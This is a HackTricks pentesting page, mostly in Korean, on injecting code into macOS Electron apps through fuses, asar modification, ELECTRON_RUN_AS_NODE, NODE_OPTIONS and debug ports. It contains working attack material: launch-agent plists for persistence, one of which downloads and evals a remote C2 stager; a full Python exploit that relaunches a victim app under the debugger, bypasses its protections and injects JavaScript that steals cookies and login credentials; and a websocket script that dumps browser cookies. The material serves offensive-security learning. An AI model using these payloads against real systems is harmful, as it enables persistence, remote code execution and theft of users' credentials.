macOS Electron Applications Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

Electron์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅธ๋‹ค๋ฉด ์—ฌ๊ธฐ์—์„œ ๋งŽ์€ ์ •๋ณด๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ง€๊ธˆ์€ Electron์ด node๋ฅผ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฒƒ๋งŒ ์•Œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.
๊ทธ๋ฆฌ๊ณ  node์—๋Š” ์ง€์ •๋œ ํŒŒ์ผ ์™ธ์— ๋‹ค๋ฅธ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

Electron Fuses

์ด ๊ธฐ์ˆ ๋“ค์€ ๋‹ค์Œ์— ๋…ผ์˜๋  ๊ฒƒ์ด์ง€๋งŒ, ์ตœ๊ทผ Electron์€ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ๋ณด์•ˆ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ๋ฐ”๋กœ Electron Fuses์ด๋ฉฐ, ์ด๋Š” macOS์—์„œ Electron ์•ฑ์ด ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

  • RunAsNode: ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด ์ฝ”๋“œ ์ฃผ์ž…์„ ์œ„ํ•ด ํ™˜๊ฒฝ ๋ณ€์ˆ˜ **ELECTRON_RUN_AS_NODE**์˜ ์‚ฌ์šฉ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • EnableNodeCliInspectArguments: ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด --inspect, --inspect-brk์™€ ๊ฐ™์€ ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์ฝ”๋“œ ์ฃผ์ž…์„ ํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • EnableEmbeddedAsarIntegrityValidation: ํ™œ์„ฑํ™”๋˜๋ฉด ๋กœ๋“œ๋œ asar ํŒŒ์ผ์ด macOS์— ์˜ํ•ด ๊ฒ€์ฆ๋ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ˆ˜์ •ํ•˜์—ฌ ์ฝ”๋“œ ์ฃผ์ž…์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • OnlyLoadAppFromAsar: ์ด ์˜ต์…˜์ด ํ™œ์„ฑํ™”๋˜๋ฉด ๋‹ค์Œ ์ˆœ์„œ๋กœ ๋กœ๋“œํ•˜๋Š” ๋Œ€์‹ : app.asar, app ๋ฐ ๋งˆ์ง€๋ง‰์œผ๋กœ default_app.asar. ์˜ค์ง app.asar๋งŒ ํ™•์ธํ•˜๊ณ  ์‚ฌ์šฉํ•˜๋ฏ€๋กœ, embeddedAsarIntegrityValidation ํ“จ์ฆˆ์™€ ๊ฒฐํ•ฉํ•  ๋•Œ ๊ฒ€์ฆ๋˜์ง€ ์•Š์€ ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
  • LoadBrowserProcessSpecificV8Snapshot: ํ™œ์„ฑํ™”๋˜๋ฉด ๋ธŒ๋ผ์šฐ์ € ํ”„๋กœ์„ธ์Šค๋Š” browser_v8_context_snapshot.bin์ด๋ผ๋Š” ํŒŒ์ผ์„ V8 ์Šค๋ƒ…์ƒท์œผ๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ฝ”๋“œ ์ฃผ์ž…์„ ๋ฐฉ์ง€ํ•˜์ง€ ์•Š๋Š” ๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ํ“จ์ฆˆ๋Š”:

  • EnableCookieEncryption: ํ™œ์„ฑํ™”๋˜๋ฉด ๋””์Šคํฌ์˜ ์ฟ ํ‚ค ์ €์žฅ์†Œ๊ฐ€ OS ์ˆ˜์ค€์˜ ์•”ํ˜ธํ™” ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•”ํ˜ธํ™”๋ฉ๋‹ˆ๋‹ค.

Checking Electron Fuses

์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์—์„œ ์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Electron ํ“จ์ฆˆ ์ˆ˜์ •

As the docs mention, the configuration of the Electron Fuses are configured inside the Electron binary which contains somewhere the string dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX.

In macOS applications this is typically in application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

์ด ํŒŒ์ผ์„ https://hexed.it/์—์„œ ์—ด๊ณ  ์ด์ „ ๋ฌธ์ž์—ด์„ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ž์—ด ๋’ค์—๋Š” ๊ฐ ํ“จ์ฆˆ๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์—ˆ๋Š”์ง€ ํ™œ์„ฑํ™”๋˜์—ˆ๋Š”์ง€๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ASCII ์ˆซ์ž โ€œ0โ€ ๋˜๋Š” โ€œ1โ€œ์ด ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ํ—ฅ์Šค ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ํ“จ์ฆˆ ๊ฐ’์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (0x30์€ 0์ด๊ณ  0x31์€ 1์ž…๋‹ˆ๋‹ค).

์ด ๋ฐ”์ดํŠธ๊ฐ€ ์ˆ˜์ •๋œ ์ƒํƒœ๋กœ Electron Framework ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ ๋ฎ์–ด์“ฐ๋ ค ํ•˜๋ฉด ์•ฑ์ด ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

RCE ์ „์ž ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ฝ”๋“œ ์ถ”๊ฐ€

Electron ์•ฑ์ด ์‚ฌ์šฉํ•˜๋Š” ์™ธ๋ถ€ JS/HTML ํŒŒ์ผ์ด ์žˆ์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๋Š” ์ด๋Ÿฌํ•œ ํŒŒ์ผ์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์„œ๋ช…์ด ํ™•์ธ๋˜์ง€ ์•Š๊ณ  ์•ฑ์˜ ์ปจํ…์ŠคํŠธ์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Caution

๊ทธ๋Ÿฌ๋‚˜ ํ˜„์žฌ 2๊ฐ€์ง€ ์ œํ•œ ์‚ฌํ•ญ์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์•ฑ์„ ์ˆ˜์ •ํ•˜๋ ค๋ฉด kTCCServiceSystemPolicyAppBundles ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฏ€๋กœ ๊ธฐ๋ณธ์ ์œผ๋กœ ๋” ์ด์ƒ ๊ฐ€๋Šฅํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ์ปดํŒŒ์ผ๋œ asap ํŒŒ์ผ์€ ์ผ๋ฐ˜์ ์œผ๋กœ ํ“จ์ฆˆ embeddedAsarIntegrityValidation ๋ฐ **onlyLoadAppFromAsar**๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋กœ ์ธํ•ด ๊ณต๊ฒฉ ๊ฒฝ๋กœ๊ฐ€ ๋” ๋ณต์žกํ•ด์ง€๊ฑฐ๋‚˜ ๋ถˆ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค.

kTCCServiceSystemPolicyAppBundles ์š”๊ตฌ ์‚ฌํ•ญ์„ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์‹ญ์‹œ์˜ค. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋‹ค๋ฅธ ๋””๋ ‰ํ† ๋ฆฌ(์˜ˆ: /tmp)๋กœ ๋ณต์‚ฌํ•˜๊ณ , ํด๋” **app.app/Contents**์˜ ์ด๋ฆ„์„ **app.app/NotCon**์œผ๋กœ ๋ณ€๊ฒฝํ•œ ํ›„, ์•…์„ฑ ์ฝ”๋“œ๋กœ asar ํŒŒ์ผ์„ ์ˆ˜์ •ํ•˜๊ณ  ๋‹ค์‹œ **app.app/Contents**๋กœ ์ด๋ฆ„์„ ๋ฐ”๊พผ ๋‹ค์Œ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ ๋ช…๋ น์–ด๋กœ asar ํŒŒ์ผ์—์„œ ์ฝ”๋“œ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

npx asar extract app.asar app-decomp

๊ทธ๋ฆฌ๊ณ  ์ˆ˜์ •ํ•œ ํ›„ ๋‹ค์‹œ ํŒจํ‚นํ•˜์‹ญ์‹œ์˜ค:

npx asar pack app-decomp app-new.asar

RCE with ELECTRON_RUN_AS_NODE

According to the docs, ์ด ํ™˜๊ฒฝ ๋ณ€์ˆ˜๊ฐ€ ์„ค์ •๋˜๋ฉด ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ผ๋ฐ˜ Node.js ํ”„๋กœ์„ธ์Šค๋กœ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค.

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

Caution

๋งŒ์•ฝ ํ“จ์ฆˆ **RunAsNode**๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด, ํ™˜๊ฒฝ ๋ณ€์ˆ˜ **ELECTRON_RUN_AS_NODE**๋Š” ๋ฌด์‹œ๋˜๋ฉฐ, ์ด ๋ฐฉ๋ฒ•์€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์•ฑ Plist์—์„œ์˜ ์ฃผ์ž…

์—ฌ๊ธฐ์—์„œ ์ œ์•ˆ๋œ ๋Œ€๋กœ ์ด ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ plist์—์„œ ์•…์šฉํ•˜์—ฌ ์ง€์†์„ฑ์„ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

RCE with NODE_OPTIONS

ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‹ค๋ฅธ ํŒŒ์ผ์— ์ €์žฅํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

Caution

๋งŒ์•ฝ ํ“จ์ฆˆ EnableNodeOptionsEnvironmentVariable ๊ฐ€ ๋น„ํ™œ์„ฑํ™” ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์•ฑ์€ env ๋ณ€์ˆ˜ NODE_OPTIONS ๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๋‹จ, env ๋ณ€์ˆ˜ ELECTRON_RUN_AS_NODE ๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด, ํ“จ์ฆˆ RunAsNode ๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ์—๋„ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.

ELECTRON_RUN_AS_NODE ๋ฅผ ์„ค์ •ํ•˜์ง€ ์•Š์œผ๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.

์•ฑ Plist์—์„œ์˜ ์ฃผ์ž…

์ด env ๋ณ€์ˆ˜๋ฅผ plist์—์„œ ์•…์šฉํ•˜์—ฌ ์ง€์†์„ฑ์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ ํ‚ค๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

RCE with inspecting

According to this, if you execute an Electron application with flags such as --inspect, --inspect-brk and --remote-debugging-port, a debug port will be open so you can connect to it (for example from Chrome in chrome://inspect) and you will be able to inject code on it or even launch new processes.
์˜ˆ๋ฅผ ๋“ค์–ด:

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

In ์ด ๋ธ”๋กœ๊ทธ ํฌ์ŠคํŠธ์—์„œ, ์ด ๋””๋ฒ„๊น…์€ ํ—ค๋“œ๋ฆฌ์Šค ํฌ๋กฌ์ด ์ž„์˜์˜ ํŒŒ์ผ์„ ์ž„์˜์˜ ์œ„์น˜์— ๋‹ค์šด๋กœ๋“œํ•˜๋„๋ก ์•…์šฉ๋ฉ๋‹ˆ๋‹ค.

Tip

์•ฑ์ด --inspect์™€ ๊ฐ™์€ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋‚˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ™•์ธํ•˜๋Š” ๊ณ ์œ ํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ๋‹ค๋ฉด, --inspect-brk ์ธ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋Ÿฐํƒ€์ž„์—์„œ ์ด๋ฅผ ์šฐํšŒํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ธ์ˆ˜๋Š” ์•ฑ์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์—์„œ ์‹คํ–‰์„ ์ค‘์ง€ํ•˜๊ณ  ์šฐํšŒ(์˜ˆ: ํ˜„์žฌ ํ”„๋กœ์„ธ์Šค์˜ ์ธ์ˆ˜๋‚˜ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ)๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ์€ --inspect-brk ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์•ฑ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ์‹คํ–‰ํ•จ์œผ๋กœ์จ, ๊ทธ ์•ฑ์ด ๊ฐ€์ง„ ์‚ฌ์šฉ์ž ์ •์˜ ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์—ˆ๋˜ ์ต์Šคํ”Œ๋กœ์ž‡์ž…๋‹ˆ๋‹ค(ํ”„๋กœ์„ธ์Šค์˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋ฎ์–ด์จ์„œ --inspect-brk๋ฅผ ์ œ๊ฑฐํ•˜๊ณ , ๊ทธ๋Ÿฐ ๋‹ค์Œ JS ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์•ฑ์—์„œ ์ฟ ํ‚ค์™€ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋คํ”„ํ•˜๋Š” ๋ฐฉ์‹).

import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep

INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None

JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');

var wc = webContents.getAllWebContents()[0]


function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);

fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}

function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}

function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}

get_cookies();
get_creds();
console.log("Payloads injected");
"""

async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL

url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url


async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1)  # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9)  # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")

async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")

async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]

sleep(1)

await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})

await send_cmd(ws, "Profiler.enable")

await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})

await send_cmd(ws, "Runtime.runIfWaitingForDebugger")

await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})

code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")


async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID

print(f"Connecting to {INSPECT_URL} ...")

async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})



async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()

sleep(7)

await js_payloads()



async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT

CONT += 1

# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)

# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)

# Print for debugging
print(f"[{method} / {CONT}] ->", data)

if get_first:
return data

# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data

# Otherwise it's an event or unrelated message; keep reading

if __name__ == "__main__":
asyncio.run(main())

Caution

๋งŒ์•ฝ ํ“จ์ฆˆ **EnableNodeCliInspectArguments**๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด, ์•ฑ์€ ๋…ธ๋“œ ๋งค๊ฐœ๋ณ€์ˆ˜(์˜ˆ: --inspect)๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ์‹คํ–‰๋˜๋ฉฐ, ํ™˜๊ฒฝ ๋ณ€์ˆ˜ **ELECTRON_RUN_AS_NODE**๊ฐ€ ์„ค์ •๋˜์ง€ ์•Š๋Š” ํ•œ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ํ“จ์ฆˆ **RunAsNode**๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด ์ด ๋ณ€์ˆ˜๋„ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ **electron ๋งค๊ฐœ๋ณ€์ˆ˜ --remote-debugging-port=9229**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Electron ์•ฑ์—์„œ ํžˆ์Šคํ† ๋ฆฌ(GET ๋ช…๋ น์–ด๋กœ)๋‚˜ ๋ธŒ๋ผ์šฐ์ €์˜ ์ฟ ํ‚ค๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋ธŒ๋ผ์šฐ์ € ๋‚ด์—์„œ ๋ณตํ˜ธํ™”๋˜๋ฉฐ, ์ด๋ฅผ ์ œ๊ณตํ•˜๋Š” json ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค).

์ด ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด์„œ๋Š” ์—ฌ๊ธฐ์™€ ์—ฌ๊ธฐ์—์„œ ๋ฐฐ์šธ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ž๋™ ๋„๊ตฌ WhiteChocolateMacademiaNut์ด๋‚˜ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฐ„๋‹จํ•œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

Injection from the App Plist

์ด env ๋ณ€์ˆ˜๋ฅผ plist์—์„œ ์•…์šฉํ•˜์—ฌ ์ง€์†์„ฑ์„ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ํ‚ค๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

TCC ์šฐํšŒ ๊ตฌ๋ฒ„์ „ ์•…์šฉ

Tip

macOS์˜ TCC ๋ฐ๋ชฌ์€ ์‹คํ–‰๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฒ„์ „์„ ํ™•์ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด์ „ ๊ธฐ์ˆ ๋กœ Electron ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ APP์˜ ์ด์ „ ๋ฒ„์ „์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ๊ทธ ์œ„์— ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์—ฌ์ „ํžˆ TCC ๊ถŒํ•œ์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(Trust Cache๊ฐ€ ์ด๋ฅผ ๋ฐฉ์ง€ํ•˜์ง€ ์•Š๋Š” ํ•œ).

๋น„ JS ์ฝ”๋“œ ์‹คํ–‰

